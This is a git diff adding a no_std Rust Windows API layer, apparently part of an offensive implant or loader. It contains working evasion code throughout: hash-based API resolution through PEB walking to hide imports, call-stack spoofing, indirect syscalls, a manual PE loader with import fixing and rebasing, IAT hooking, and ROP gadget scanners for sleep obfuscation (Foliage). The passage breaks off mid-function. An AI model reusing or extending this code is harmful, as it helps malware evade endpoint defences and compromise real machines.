rtl_start, base_thunk, + ) + }; + + if let Some(cfg) = build(k32_base, kb_base).or_else(|| build(kb_base, kb_base)) { + core::ptr::write(&mut self.ntdll.spoof_config, cfg); + } + + #[cfg(feature = "spoof-syscall")] + { + let syscall_build = |ff_src, sf_src, gs| { + crate::spoof::uwd::build_syscall_config( + ntdll_base, k32_base, ff_src, sf_src, gs, rtl_start, base_thunk, + ) + }; + if let Some(cfg) = syscall_build(kb_base, ntdll_base, ntdll_base) { + #[cfg(feature = "debug-dbgprint")] + crate::dbg_print!( + self, + b"[LDR] syscall_config: kb+ntdll frames, ntdll gadgets\n\0" + ); + core::ptr::write(&mut self.ntdll.syscall_spoof_config, cfg); + } else if let Some(cfg) = syscall_build(kb_base, ntdll_base, kb_base) { + #[cfg(feature = "debug-dbgprint")] + crate::dbg_print!( + self, + b"[LDR] syscall_config: kb+ntdll frames, kb gadgets\n\0" + ); + core::ptr::write(&mut self.ntdll.syscall_spoof_config, cfg); + } else if let Some(cfg) = syscall_build(kb_base, kb_base, kb_base) { + #[cfg(feature = "debug-dbgprint")] + crate::dbg_print!(self, b"[LDR] syscall_config: kb+kb (fallback)\n\0"); + core::ptr::write(&mut self.ntdll.syscall_spoof_config, cfg); + } + } + + if let Some(cfg) = build(k32_base, k32_base).or_else(|| build(kb_base, kb_base)) { + core::ptr::write(&mut self.kernel32.spoof_config, cfg); + } + + if let Some(cfg) = build(k32_base, kb_base).or_else(|| build(kb_base, kb_base)) { + core::ptr::write(&mut self.kernelbase.spoof_config, cfg); + } + } + + /// Zero the entire `Api` struct, scrubbing all resolved pointers and sleep context. + /// + /// # Safety + /// + /// After this call, no wrapper methods may be called -- all function pointers + /// will be null. + #[inline(always)] + pub unsafe fn zero(&mut self) { + let ptr = self as *mut Api as *mut u8; + let size = core::mem::size_of::(); + memzero(ptr, size as _); + } +} diff --git a/crates/api/src/lib.rs b/crates/api/src/lib.rs new file mode 100644 index 0000000..1826209 --- /dev/null +++ b/crates/api/src/lib.rs @@ -0,0 +1,50 @@ +//! Low-level Windows API abstraction layer for `no_std` environments. +//! +//! Provides hash-based dynamic resolution of NT, Kernel32, KernelBase, and Advapi32 +//! function pointers at runtime, avoiding static imports that would appear in the IAT. +//! All resolved functions are stored as typed pointers in module structs and called +//! through thin wrapper methods that optionally apply call-stack spoofing (`spoof-uwd`) +//! or indirect syscall dispatch (`spoof-syscall`) via feature flags. + +#![no_std] +#![allow( + non_snake_case, + non_camel_case_types, + non_upper_case_globals, + dead_code, + unused_imports, + unexpected_cfgs, + integer_to_ptr_transmutes +)] + +/// Core API structs, wrapper methods, and runtime resolution for ntdll, kernel32, +/// kernelbase, and advapi32. +pub mod api; + +/// Debug console logging infrastructure, feature-gated behind `debug-console`. +pub mod log; + +/// Utility functions: DJB2 hashing, memory operations, PE parsing, gadget scanning, +/// module/export resolution, and memory protection helpers. +pub mod util; + +/// Raw Windows type definitions, constants, and function pointer type aliases. +pub mod windows; + +// --------------------------------------------------------------------------- +// UWD call-stack spoofing re-exports (feature-gated) +// --------------------------------------------------------------------------- + +/// Re-export `uwd` crate so that `crate::spoof::uwd::*` paths resolve in +/// `api/src/api.rs` when spoof features are enabled. +#[cfg(feature = "spoof-uwd")] +pub mod spoof { + pub use uwd; +} + +/// Re-export the `spoof_syscall!` macro at crate root so `crate::spoof_syscall!(...)` works. +#[cfg(feature = "spoof-syscall")] +pub use uwd::spoof_syscall; +/// Re-export the `spoof_uwd!` macro at crate root so `crate::spoof_uwd!(...)` works. +#[cfg(feature = "spoof-uwd")] +pub use uwd::spoof_uwd; diff --git a/crates/api/src/log.rs b/crates/api/src/log.rs new file mode 100644 index 0000000..70d117f --- /dev/null +++ b/crates/api/src/log.rs @@ -0,0 +1,273 @@ +//! Debug console logging infrastructure for runtime diagnostics. +//! +//! All logging is feature-gated behind `debug-console` - when disabled, every macro +//! expands to nothing and zero code is emitted. When enabled, an attached console is +//! created via `AllocConsole` and messages are written to `STD_OUTPUT_HANDLE` using +//! `WriteFile`. +//! +//! Three severity levels are provided: [`Level::Trace`], [`Level::Debug`], and +//! [`Level::Info`], each with a corresponding macro ([`log_trace!`], [`log_debug!`], +//! [`log_info!`]). Each macro supports two forms: +//! +//! - `log_info!(b"message")` - plain text. +//! - `log_info!(b"message", value)` - text followed by a `0x`-prefixed hex value. + +#[cfg(feature = "debug-console")] +use { + crate::{ + hash_str, + util::{get_export_by_hash, get_loaded_module_by_hash}, + windows::*, + }, + core::{mem::transmute, ptr}, +}; + +/// Log a message at [`Level::Info`]. +/// +/// Two forms: +/// - `log_info!(b"message")` - plain text. +/// - `log_info!(b"message", value)` - text with trailing hex value. +/// +/// Compiles to nothing when the `debug-console` feature is disabled. +#[macro_export] +macro_rules! log_info { + ($msg:literal) => {{ + #[cfg(feature = "debug-console")] + unsafe { + $crate::log::log_message($crate::log::Level::Info, $msg) + } + }}; + ($msg:literal, $value:expr) => {{ + #[cfg(feature = "debug-console")] + unsafe { + $crate::log::log_message_hex($crate::log::Level::Info, $msg, $value as usize) + } + }}; +} + +/// Log a message at [`Level::Debug`]. +/// +/// Same forms as [`log_info!`]. Compiles to nothing without `debug-console`. +#[macro_export] +macro_rules! log_debug { + ($msg:literal) => {{ + #[cfg(feature = "debug-console")] + unsafe { + $crate::log::log_message($crate::log::Level::Debug, $msg) + } + }}; + ($msg:literal, $value:expr) => {{ + #[cfg(feature = "debug-console")] + unsafe { + $crate::log::log_message_hex($crate::log::Level::Debug, $msg, $value as usize) + } + }}; +} + +/// Log a message at [`Level::Trace`]. +/// +/// Same forms as [`log_info!`]. Compiles to nothing without `debug-console`. +#[macro_export] +macro_rules! log_trace { + ($msg:literal) => {{ + #[cfg(feature = "debug-console")] + unsafe { + $crate::log::log_message($crate::log::Level::Trace, $msg) + } + }}; + ($msg:literal, $value:expr) => {{ + #[cfg(feature = "debug-console")] + unsafe { + $crate::log::log_message_hex($crate::log::Level::Trace, $msg, $value as usize) + } + }}; +} + +/// Re-exports of the logging macros under short aliases. +#[allow(unused_imports)] +pub use {log_debug as debug, log_info as info, log_trace as trace}; + +/// Log severity level used to prefix output lines. +#[allow(dead_code)] +pub enum Level { + /// Finest-grained diagnostics (prefixed `[TRACE]`). + Trace, + /// Intermediate diagnostics (prefixed `[DEBUG]`). + Debug, + /// High-level operational messages (prefixed `[INFO ]`). + Info, +} + +/// Write a plain-text log line to the debug console. +/// +/// # Arguments +/// +/// * `level` - Severity level that determines the prefix tag. +/// * `msg` - Raw byte string to print (no null terminator required). +/// +/// # Safety +/// +/// Resolves kernel32 exports at runtime via PEB walking. The caller must ensure +/// the process has a valid PEB and that kernel32 is loaded. +#[link_section = ".text$E"] +#[inline(never)] +#[cfg(feature = "debug-console")] +pub unsafe fn log_message(level: Level, msg: &[u8]) { + if let Some((handle, write_file)) = ensure_console() { + let mut writer = ConsoleWriter { + buf: [0u8; 512], + len: 0, + handle, + write_file, + }; + + writer.push_bytes(match level { + Level::Trace => b"[TRACE] ", + Level::Debug => b"[DEBUG] ", + Level::Info => b"[INFO ] ", + }); + + writer.push_bytes(msg); + writer.push_bytes(b"\r\n"); + writer.flush(); + } +} + +/// Write a log line with a trailing `0x`-prefixed hex value to the debug console. +/// +/// # Arguments +/// +/// * `level` - Severity level that determines the prefix tag. +/// * `msg` - Raw byte string label (no null terminator required). +/// * `value` - Value to format as 16-digit lowercase hex. +/// +/// # Safety +/// +/// Same requirements as [`log_message`]. +#[link_section = ".text$E"] +#[inline(never)] +#[cfg(feature = "debug-console")] +pub unsafe fn log_message_hex(level: Level, msg: &[u8], value: usize) { + if let Some((handle, write_file)) = ensure_console() { + let mut writer = ConsoleWriter { + buf: [0u8; 512], + len: 0, + handle, + write_file, + }; + + writer.push_bytes(match level { + Level::Trace => b"[TRACE] ", + Level::Debug => b"[DEBUG] ", + Level::Info => b"[INFO ] ", + }); + + writer.push_bytes(msg); + writer.push_bytes(b": "); + writer.push_hex(value); + writer.push_bytes(b"\r\n"); + writer.flush(); + } +} + +/// Resolve console handles and `WriteFile` from kernel32 via PEB hash lookup. +/// +/// Calls `AllocConsole` to ensure a console is attached, then returns the +/// stdout handle and `WriteFile` function pointer. +/// +/// # Returns +/// +/// `Some((handle, WriteFile))` on success, `None` if kernel32 is not loaded or +/// the stdout handle is null. +#[cfg(feature = "debug-console")] +#[inline(always)] +#[link_section = ".text$E"] +unsafe fn ensure_console() -> Option<(HANDLE, FnWriteFile)> { + let kernel32 = get_loaded_module_by_hash(hash_str!("kernel32.dll")); + if kernel32 == 0 { + return None; + } + + let alloc_console: FnAllocConsole = transmute(get_export_by_hash( + kernel32, + hash_str!("AllocConsole") as usize, + )); + let get_std_handle: FnGetStdHandle = transmute(get_export_by_hash( + kernel32, + hash_str!("GetStdHandle") as usize, + )); + let write_file: FnWriteFile = transmute(get_export_by_hash( + kernel32, + hash_str!("WriteFile") as usize, + )); + + alloc_console(); + + let handle = get_std_handle(STD_OUTPUT_HANDLE); + if handle.is_null() { + return None; + } + + Some((handle, write_file)) +} + +/// Fixed-size buffer writer for console output (512 bytes). +/// +/// Accumulates bytes via [`push_bytes`](ConsoleWriter::push_bytes) and +/// [`push_hex`](ConsoleWriter::push_hex), then flushes to the console +/// handle via `WriteFile`. +#[cfg(feature = "debug-console")] +struct ConsoleWriter { + buf: [u8; 512], + len: usize, + handle: HANDLE, + write_file: FnWriteFile, +} + +#[cfg(feature = "debug-console")] +impl ConsoleWriter { + /// Flush the accumulated buffer to the console via `WriteFile` and reset length. + #[inline(always)] + #[link_section = ".text$E"] + unsafe fn flush(&mut self) { + if self.len == 0 { + return; + } + let mut written: DWORD = 0; + (self.write_file)( + self.handle, + self.buf.as_ptr() as *const _, + self.len as DWORD, + &mut written, + ptr::null_mut(), + ); + self.len = 0; + } + + /// Append raw bytes to the buffer, stopping at capacity. + #[inline(always)] + #[link_section = ".text$E"] + unsafe fn push_bytes(&mut self, bytes: &[u8]) { + let mut idx = 0usize; + while self.len < self.buf.len() && idx < bytes.len() { + self.buf[self.len] = bytes[idx]; + self.len += 1; + idx += 1; + } + } + + /// Format `value` as a 16-digit `0x`-prefixed lowercase hex string and append. + #[inline(always)] + #[link_section = ".text$E"] + unsafe fn push_hex(&mut self, value: usize) { + const HEX_CHARS: &[u8] = b"0123456789abcdef"; + self.push_bytes(b"0x"); + for i in (0..16).rev() { + let nibble = ((value >> (i * 4)) & 0xF) as usize; + if self.len < self.buf.len() { + self.buf[self.len] = HEX_CHARS[nibble]; + self.len += 1; + } + } + } +} diff --git a/crates/api/src/util.rs b/crates/api/src/util.rs new file mode 100644 index 0000000..faf1f98 --- /dev/null +++ b/crates/api/src/util.rs @@ -0,0 +1,948 @@ +//! Core utility functions and macros for module resolution, memory operations, +//! PE image manipulation, and gadget scanning. +//! +//! All functions use DJB2 hashing (case-insensitive) for API and module name +//! resolution, avoiding plaintext strings in the binary. Memory helpers (`memzero`, +//! `memcopy`, `memcmp`, `memmem`) are `no_std`-compatible replacements for libc +//! equivalents. PE utilities handle import resolution, IAT hooking, and base +//! relocation fixups. Gadget scanners locate `jmp [rbx]` / `call [NtTestAlert]` +//! sequences in module `.text` sections for stack spoofing. + +use { + crate::{ + api::MemorySection, + windows::{IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_NT_HEADERS, IMAGE_NT_SIGNATURE, *}, + }, + core::{ffi::c_void, ptr::null_mut}, +}; + +/// Iterate over a doubly-linked `LIST_ENTRY` chain starting from `$head_list`. +/// +/// Casts each node to `$type` and executes `$body` with `$current` bound to +/// the typed pointer. Stops when the traversal wraps back to the head. +#[macro_export] +macro_rules! range_head_list { + ($head_list:expr, $type:ty, |$current:ident| $body:block) => { + { + let head_ptr = $head_list as *const LIST_ENTRY; + let mut $current = (*head_ptr).Flink as $type; + + while $current as *const _ != head_ptr as *const _ { + $body + $current = (*$current).InLoadOrderLinks.Flink as $type; + } + } + }; +} + +/// Compute the DJB2 hash of a string literal at compile time. +/// +/// Wraps [`djb2_hash`] for use in `const` contexts (e.g., module/export name hashing). +#[macro_export] +macro_rules! hash_str { + ($s:expr) => { + $crate::util::djb2_hash($s) + }; +} + +/// Resolve a Windows API function pointer by DJB2 hash from a loaded module. +/// +/// Returns a `*const unsafe extern "system" fn()` suitable for `transmute` to the +/// concrete function type. +#[macro_export] +macro_rules! resolve_api { + ($module:expr, $name:ident) => { + $crate::util::api::( + $module, + $crate::hash_str!(stringify!($name)) as usize, + ) as *const unsafe extern "system" fn() + }; +} + +/// Internal helper macro for batch API resolution (unused in current code). +#[allow(unused_macros)] +#[macro_export] +macro_rules! _api { + ($api:expr, $module:ident) => {{ + let base_addr = $api.$module.handle; + if base_addr != 0 { + $( + $api.$module.$api = transmute(get_export_by_hash(base_addr, $api.$module.$api as usize)); + )* + } + }}; +} + +/// Check whether an `NTSTATUS` value indicates success (`>= 0`). +#[macro_export] +macro_rules! NT_SUCCESS { + ($status:expr) => { + $status >= 0 + }; +} + +/// Print a formatted debug string via `DbgPrint` (kernel debugger output). +/// +/// Feature-gated behind `debug-dbgprint`. When disabled, compiles to nothing. +#[cfg(feature = "debug-dbgprint")] +#[macro_export] +macro_rules! dbg_print { + ($api:expr, $fmt:expr) => {{ + unsafe { + if !$api.ntdll.DbgPrint_ptr.is_null() { + let dbg_print: $crate::windows::FnDbgPrint = + core::mem::transmute($api.ntdll.DbgPrint_ptr); + dbg_print($fmt.as_ptr()); + } + } + }}; + ($api:expr, $fmt:expr, $($arg:expr),*) => {{ + unsafe { + if !$api.ntdll.DbgPrint_ptr.is_null() { + let dbg_print: $crate::windows::FnDbgPrint = + core::mem::transmute($api.ntdll.DbgPrint_ptr); + dbg_print($fmt.as_ptr(), $($arg),*); + } + } + }}; +} + +/// No-op stub when `debug-dbgprint` is disabled. +#[cfg(not(feature = "debug-dbgprint"))] +#[macro_export] +macro_rules! dbg_print { + ($api:expr, $fmt:expr) => {{}}; + ($api:expr, $fmt:expr, $($arg:expr),*) => {{}}; +} + +/// DJB2 seed value. +const DJB2_INIT: u32 = 5381; + +/// Compute the case-insensitive DJB2 hash of a null-terminated ASCII string at runtime. +/// +/// # Arguments +/// +/// * `string` - Pointer to a null-terminated byte string. +/// +/// # Returns +/// +/// The 32-bit DJB2 hash with all characters uppercased before hashing. +/// +/// # Safety +/// +/// `string` must point to a valid null-terminated byte sequence. +#[link_section = ".text$E"] +pub unsafe fn hash_string(string: *const u8) -> u32 { + let mut hash = DJB2_INIT; + let mut ptr = string; + + while *ptr != 0 { + let mut byte = *ptr; + + if byte >= b'a' { + byte -= 0x20; + } + + hash = ((hash << 5).wrapping_add(hash)).wrapping_add(byte as u32); + + ptr = ptr.add(1); + } + + hash +} + +/// Compute the case-insensitive DJB2 hash of a null-terminated wide (UTF-16) string. +/// +/// Only the low byte of each `u16` character is hashed (sufficient for ASCII module +/// and export names used in Windows). +/// +/// # Arguments +/// +/// * `string` - Pointer to a null-terminated wide string. +/// +/// # Returns +/// +/// The 32-bit DJB2 hash. +/// +/// # Safety +/// +/// `string` must point to a valid null-terminated `u16` sequence. +#[link_section = ".text$E"] +pub unsafe fn hash_string_wide(string: *const u16) -> u32 { + let mut hash = DJB2_INIT; + let mut ptr = string; + + while *ptr != 0 { + let mut byte = (*ptr & 0xFF) as u8; + + if byte >= b'a' { + byte -= 0x20; + } + + hash = ((hash << 5).wrapping_add(hash)).wrapping_add(byte as u32); + + ptr = ptr.add(1); + } + + hash +} + +/// Compute the case-insensitive DJB2 hash of a `&str` at compile time. +/// +/// # Arguments +/// +/// * `s` - The string slice to hash. +/// +/// # Returns +/// +/// The 32-bit DJB2 hash with all characters uppercased. +#[link_section = ".text$E"] +pub const fn djb2_hash(s: &str) -> u32 { + let bytes = s.as_bytes(); + let mut hash = DJB2_INIT; + let mut i = 0; + + while i < bytes.len() { + let mut byte = bytes[i]; + + if byte >= b'a' { + byte -= 0x20; + } + + hash = ((hash << 5).wrapping_add(hash)).wrapping_add(byte as u32); + + i += 1; + } + + hash +} + +/// Zero `length` bytes starting at `memory`. +/// +/// # Arguments +/// +/// * `memory` - Start address to zero. +/// * `length` - Number of bytes to clear. +/// +/// # Safety +/// +/// The caller must ensure `memory` is valid for `length` bytes. +#[link_section = ".text$E"] +pub unsafe fn memzero(memory: *mut u8, length: u32) { + for i in 0..length { + *memory.offset(i as isize) = 0; + } +} + +/// Copy `length` bytes from `source` to `destination`. +/// +/// # Arguments +/// +/// * `destination` - Target buffer. +/// * `source` - Source buffer. +/// * `length` - Number of bytes to copy. +/// +/// # Returns +/// +/// The `destination` pointer. +/// +/// # Safety +/// +/// Both buffers must be valid for `length` bytes. Regions may overlap (forward copy). +#[link_section = ".text$E"] +pub unsafe fn memcopy(destination: *mut u8, source: *const u8, length: u32) -> *mut u8 { + for i in 0..length { + *destination.offset(i as isize) = *source.offset(i as isize); + } + destination +} + +/// Compare `length` bytes between two memory regions. +/// +/// # Arguments +/// +/// * `memory1` - First buffer. +/// * `memory2` - Second buffer. +/// * `length` - Number of bytes to compare. +/// +/// # Returns +/// +/// `0` if equal, otherwise the difference of the first mismatched byte pair +/// (cast to `u32`). +/// +/// # Safety +/// +/// Both pointers must be valid for `length` bytes. +#[link_section = ".text$E"] +pub unsafe fn memcmp(memory1: *const u8, memory2: *const u8, length: usize) -> u32 { + let mut a = memory1; + let mut b = memory2; + let mut len = length; + + while len > 0 { + let val1 = *a; + let val2 = *b; + + if val1 != val2 { + return (val1 as i32 - val2 as i32) as u32; + } + + a = a.offset(1); + b = b.offset(1); + len -= 1; + } + + 0 +} + +/// Find the first occurrence of `needle` in `haystack` (byte-level substring search). +/// +/// # Arguments +/// +/// * `haystack` - The buffer to search in. +/// * `needle` - The pattern to find. +/// +/// # Returns +/// +/// `Some(offset)` of the first match, or `None` if not found or `needle` is empty. +#[link_section = ".text$E"] +pub fn memmem(haystack: &[u8], needle: &[u8]) -> Option { + let h_len = haystack.len(); + let n_len = needle.len(); + if n_len == 0 || n_len > h_len { + return None; + } + + let h_ptr = haystack.as_ptr(); + let n_ptr = needle.as_ptr(); + + let mut i = 0usize; + while i <= h_len - n_len { + let mut j = 0usize; + while j < n_len { + if unsafe { *h_ptr.add(i + j) != *n_ptr.add(j) } { + break; + } + j += 1; + } + if j == n_len { + return Some(i); + } + i += 1; + } + + None +} + +/// Resolve a loaded DLL's base address by DJB2 hash of its name. +/// +/// Walks the PEB `InLoadOrderModuleList` and compares each entry's `BaseDllName` +/// against `library_hash`. If `library_hash` is 0, returns the first module +/// (the executable itself via `OriginalBase`). +/// +/// # Arguments +/// +/// * `library_hash` - DJB2 hash of the DLL name (e.g., `hash_str!("ntdll.dll")`), +/// or 0 to get the first loaded module. +/// +/// # Returns +/// +/// The module base address, or 0 if not found. +/// +/// # Safety +/// +/// Requires a valid PEB. Must be called from user mode with the loader lock not held +/// in a way that would deadlock. +#[link_section = ".text$E"] +pub unsafe fn get_loaded_module_by_hash(library_hash: u32) -> usize { + let peb = NtCurrentPeb(); + let ldr = (*peb).Ldr; + let module_list = &(*ldr).InLoadOrderModuleList; + + let mut result = 0; + + range_head_list!(module_list, PLDR_DATA_TABLE_ENTRY, |current| { + if library_hash == 0 { + result = (*current).OriginalBase as usize; + break; + } + + if hash_string_wide((*current).BaseDllName.Buffer) == library_hash { + result = (*current).OriginalBase as usize; + break; + } + }); + + result +} + +/// Resolve an exported function address by DJB2 hash from a PE module. +/// +/// Parses the PE export directory, hashes each exported name, and returns the +/// address of the matching function. +/// +/// # Arguments +/// +/// * `module_base` - Base address of the loaded PE module. +/// * `symbol_hash` - DJB2 hash of the export name to find. +/// +/// # Returns +/// +/// The resolved function address, or 0 if `module_base`/`symbol_hash` is 0, +/// the PE headers are invalid, or no matching export is found. +/// +/// # Safety +/// +/// `module_base` must point to a valid loaded PE image. +#[link_section = ".text$E"] +pub unsafe fn get_export_by_hash(module_base: usize, symbol_hash: usize) -> usize { + if module_base == 0 || symbol_hash == 0 { + return 0; + } + + let mut address = 0; + + let dos_header = module_base as *mut IMAGE_DOS_HEADER; + if (*dos_header).e_magic != IMAGE_DOS_SIGNATURE { + return 0; + } + + let nt_headers = (module_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS; + if (*nt_headers).Signature != IMAGE_NT_SIGNATURE { + return 0; + } + + let export_dir_rva = + (*nt_headers).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; + let export_dir = (module_base + export_dir_rva as usize) as *mut IMAGE_EXPORT_DIRECTORY; + + let names = (module_base + (*export_dir).AddressOfNames as usize) as *mut u32; + let functions = (module_base + (*export_dir).AddressOfFunctions as usize) as *mut u32; + let ordinals = (module_base + (*export_dir).AddressOfNameOrdinals as usize) as *mut u16; + + for i in 0..(*export_dir).NumberOfNames { + let name_rva = *names.offset(i as isize); + let name = (module_base + name_rva as usize) as *const u8; + + if hash_string(name) == symbol_hash as u32 { + let ordinal = *ordinals.offset(i as isize) as isize; + let function_rva = *functions.offset(ordinal); + address = module_base + function_rva as usize; + break; + } + } + + address +} + +/// Generic typed wrapper around [`get_export_by_hash`]. +/// +/// # Arguments +/// +/// * `module_base` - Base address of the loaded PE module. +/// * `symbol_hash` - DJB2 hash of the export name. +/// +/// # Returns +/// +/// A typed pointer to the resolved export, or null if not found. +/// +/// # Safety +/// +/// Same requirements as [`get_export_by_hash`]. The caller must ensure `T` matches +/// the actual export's signature. +#[link_section = ".text$E"] +pub unsafe fn api(module_base: usize, symbol_hash: usize) -> *mut T { + get_export_by_hash(module_base, symbol_hash) as *mut T +} + +/// Get the `SizeOfImage` from a PE module's NT optional header. +/// +/// # Arguments +/// +/// * `base` - Base address of the loaded PE module. +/// +/// # Returns +/// +/// `SizeOfImage` in bytes, or 0 if `base` is 0 or the PE headers are invalid. +/// +/// # Safety +/// +/// `base` must point to a valid loaded PE image (or be 0). +#[inline(always)] +#[link_section = ".text$E"] +pub unsafe fn module_size(base: usize) -> ULONG { + if base == 0 { + return 0; + } + + let dos = base as *const IMAGE_DOS_HEADER; + if (*dos).e_magic != IMAGE_DOS_SIGNATURE { + return 0; + } + + let nt = (base + (*dos).e_lfanew as usize) as *const IMAGE_NT_HEADERS; + if (*nt).Signature != IMAGE_NT_SIGNATURE { + return 0; + } + + (*nt).OptionalHeader.SizeOfImage +} + +/// Resolve all imports in a PE image's import directory. +/// +/// Walks the `IMAGE_IMPORT_DESCRIPTOR` array, loads each referenced DLL via +/// `LdrLoadDll`, and patches the IAT (`FirstThunk`) entries with resolved +/// addresses from `LdrGetProcedureAddress`. Supports both ordinal and name imports. +/// +/// # Arguments +/// +/// * `api` - Resolved API function pointers (needs ntdll string/loader functions). +/// * `image` - Base address of the PE image in memory. +/// * `directory` - Pointer to the start of the import directory +/// (`IMAGE_DIRECTORY_ENTRY_IMPORT` RVA resolved to VA). +/// +/// # Returns +/// +/// `Some(true)` on success. Does not currently return `None` on individual +/// import failures - partially resolved images are possible. +/// +/// # Safety +/// +/// `image` and `directory` must point to a valid mapped PE. The `api` ntdll +/// function pointers for string and loader operations must be resolved. +#[link_section = ".text$E"] +pub unsafe fn resolve_imports( + api: &mut crate::api::Api, + image: *mut u8, + directory: *mut u8, +) -> Option { + let mut imp = directory as *mut IMAGE_IMPORT_DESCRIPTOR; + + while (*imp).Name != 0 { + let mut ansi_string: STRING = core::mem::zeroed(); + let mut unicode_string: UNICODE_STRING = core::mem::zeroed(); + let mut module_handle: HANDLE = null_mut(); + + let dll_name = (image as usize + (*imp).Name as usize) as *const i8; + api.ntdll.RtlInitAnsiString(&mut ansi_string, dll_name); + + if NT_SUCCESS!(api.ntdll.RtlAnsiStringToUnicodeString( + &mut unicode_string, + &mut ansi_string, + 1 as BOOLEAN + )) { + if NT_SUCCESS!(api.ntdll.LdrLoadDll( + null_mut(), + null_mut(), + &mut unicode_string, + &mut module_handle as *mut HANDLE as *mut PVOID + )) { + let mut otd = (image as usize + (*imp).u.OriginalFirstThunk as usize) + as *mut IMAGE_THUNK_DATA; + let mut ntd = + (image as usize + (*imp).FirstThunk as usize) as *mut IMAGE_THUNK_DATA; + + while (*otd).u1.AddressOfData != 0 { + let mut function: PVOID = null_mut(); + + if IMAGE_SNAP_BY_ORDINAL((*otd).u1.Ordinal) { + let ordinal = IMAGE_ORDINAL((*otd).u1.Ordinal) as u32; + if NT_SUCCESS!(api.ntdll.LdrGetProcedureAddress( + module_handle, + null_mut(), + ordinal, + &mut function + )) { + (*ntd).u1.Function = function as u64; + } + } else { + let ibn = (image as usize + (*otd).u1.AddressOfData as usize) + as *mut IMAGE_IMPORT_BY_NAME; + api.ntdll + .RtlInitAnsiString(&mut ansi_string, (*ibn).Name.as_ptr() as *const i8); + + if NT_SUCCESS!(api.ntdll.LdrGetProcedureAddress( + module_handle, + &mut ansi_string, + 0, + &mut function + )) { + (*ntd).u1.Function = function as u64; + } + } + + otd = otd.add(1); + ntd = ntd.add(1); + } + } + + api.ntdll.RtlFreeUnicodeString(&mut unicode_string); + } + + imp = imp.add(1); + } + + return Some(true); +} + +/// Replace an IAT entry with a hook function by matching the import's DJB2 hash. +/// +/// Walks the import directory and patches the `FirstThunk` entry whose +/// `IMAGE_IMPORT_BY_NAME` name matches `function_hash`. +/// +/// # Arguments +/// +/// * `image` - Base address of the PE image. +/// * `directory` - Pointer to the import directory. +/// * `function_hash` - DJB2 hash of the target import name to hook. +/// * `hook_function` - Replacement function pointer to write into the IAT. +/// +/// # Safety +/// +/// `image` and `directory` must point to a valid mapped PE. The IAT page must +/// be writable (or made writable beforehand). +#[link_section = ".text$E"] +pub unsafe fn hook_iat( + image: *mut u8, + directory: *mut u8, + function_hash: u32, + hook_function: *mut u8, +) { + let mut imp = directory as *mut IMAGE_IMPORT_DESCRIPTOR; + + while (*imp).Name != 0 { + let mut otd = + (image as usize + (*imp).u.OriginalFirstThunk as usize) as *mut IMAGE_THUNK_DATA; + let mut ntd = (image as usize + (*imp).FirstThunk as usize) as *mut IMAGE_THUNK_DATA; + + while (*otd).u1.AddressOfData != 0 { + if !IMAGE_SNAP_BY_ORDINAL((*otd).u1.Ordinal) { + let ibn = (image as usize + (*otd).u1.AddressOfData as usize) + as *mut IMAGE_IMPORT_BY_NAME; + let name_addr = (*ibn).Name.as_ptr() as *const u8; + + if function_hash == hash_string(name_addr) { + (*ntd).u1.Function = hook_function as u64; + } + } + + otd = otd.add(1); + ntd = ntd.add(1); + } + + imp = imp.add(1); + } +} + +/// Apply base relocations to a PE image loaded at a non-preferred address. +/// +/// Processes `IMAGE_BASE_RELOCATION` blocks and adjusts `DIR64` (8-byte) and +/// `HIGHLOW` (4-byte) fixups by the delta between the actual and preferred base. +/// +/// # Arguments +/// +/// * `image` - Actual base address of the loaded PE image. +/// * `directory` - Pointer to the relocation directory +/// (`IMAGE_DIRECTORY_ENTRY_BASERELOC` RVA resolved to VA). +/// * `image_base` - Preferred base address from the PE optional header. +/// +/// # Returns +/// +/// The number of relocations applied. +/// +/// # Safety +/// +/// `image` and `directory` must point to a valid mapped PE with writable relocation +/// target pages. +#[link_section = ".text$E"] +pub unsafe fn rebase_image(image: *mut u8, directory: *mut u8, image_base: *mut u8) -> u32 { + let offset = image as isize - image_base as isize; + + let mut ibr = directory as *mut IMAGE_BASE_RELOCATION; + + let mut reloc_count = 0u32; + + while (*ibr).VirtualAddress != 0 { + let mut rel = + (ibr as usize + core::mem::size_of::()) as *mut IMAGE_RELOC; + let block_end = (ibr as usize + (*ibr).SizeOfBlock as usize) as *mut IMAGE_RELOC; + + while rel < block_end { + match (*rel).reloc_type() as u32 { + IMAGE_REL_BASED_DIR64 => { + let target = (image as usize + + (*ibr).VirtualAddress as usize + + (*rel).offset() as usize) as *mut u64; + *target = ((*target as isize) + offset) as u64; + reloc_count += 1; + } + IMAGE_REL_BASED_HIGHLOW => { + let target = (image as usize + + (*ibr).VirtualAddress as usize + + (*rel).offset() as usize) as *mut u32; + *target = ((*target as isize) + offset) as u32; + reloc_count += 1; + } + _ => {} + } + + rel = rel.add(1); + } + + ibr = rel as *mut IMAGE_BASE_RELOCATION; + } + + reloc_count +} + +/// Scan a module's memory for a `jmp [rbx]` gadget (`0xFF 0x23`). +/// +/// Used by sleep obfuscation to find an indirect jump gadget for call-stack spoofing. +/// +/// # Arguments +/// +/// * `module` - Base address of the module to scan. +/// * `size` - Size of the module in bytes. +/// +/// # Returns +/// +/// Pointer to the gadget, or null if not found. +/// +/// # Safety +/// +/// `module` must point to a readable memory region of at least `size` bytes. +#[link_section = ".text$E"] +pub unsafe fn find_gadget(module: *mut u8, size: ULONG) -> *mut c_void { + if module.is_null() || size == 0 { + return core::ptr::null_mut(); + } + + for x in 0..size { + let byte1 = *module.add(x as usize); + let byte2 = *module.add(x as usize + 1); + + // 0xFF 0x23 = jmp [rbx] + if byte1 == 0xFF && byte2 == 0x23 { + let gadget = module.add(x as usize) as *mut c_void; + if !gadget.is_null() && (gadget as usize) >= 0x10000 { + return gadget; + } + } + } + + core::ptr::null_mut() +} + +/// Scan a module for the `call [NtTestAlert]` gadget pattern used in APC call-stack +/// spoofing (Foliage). +/// +/// Searches for a 13-byte pattern: +/// ```text +/// 48 83 EC 28 sub rsp, 0x28 +/// F7 41 04 test dword ptr [rcx+4], ... +/// 66 00 00 00 (imm16 operand) +/// 74 05 jz +5 +/// ``` +/// The gadget address is the instruction at offset `0xD` after the pattern match. +/// +/// # Arguments +/// +/// * `module` - Base address of the module to scan. +/// * `size` - Size of the module in bytes. +/// +/// # Returns +/// +/// Pointer to the gadget (at pattern + 0xD), or null if not found. +/// +/// # Safety +/// +/// `module` must point to a readable memory region of at least `size` bytes. +#[link_section = ".text$E"] +pub unsafe fn 